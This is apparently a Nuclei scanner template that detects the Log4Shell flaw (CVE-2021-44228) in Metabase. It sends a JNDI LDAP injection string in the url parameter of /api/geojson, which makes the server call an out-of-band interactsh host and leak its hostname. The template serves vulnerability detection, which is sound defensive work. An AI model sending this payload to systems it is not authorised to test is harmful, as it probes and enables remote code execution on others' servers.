id: metabase-log4j

info:
  name: Metabase - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: Metabase is susceptible to remote code execution due to an incomplete patch in Apache Log4j 2.15.0 in certain non-default configurations. A remote attacker can pass malicious data and perform a denial of service attack, exfiltrate data, or execute arbitrary code.
  reference:
    - https://www.cybersecurity-help.cz/vdb/SB2021121706
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Metabase"
  tags: cve,cve2021,rce,jndi,log4j,metabase,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/geojson?url=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.url.{{interactsh-url}}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Invalid GeoJSON file location:'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

# digest: 4b0a0048304602210099de73a04dbadbd8b01b1a9af13a552d3495d036cca33e121699bf997f91b5d9022100bf32917f27b9e7ca243dbc74c453263ea677202e3df3b78e5afbf48d0ba5d481:922c64590222798bb761d5b6d8e72950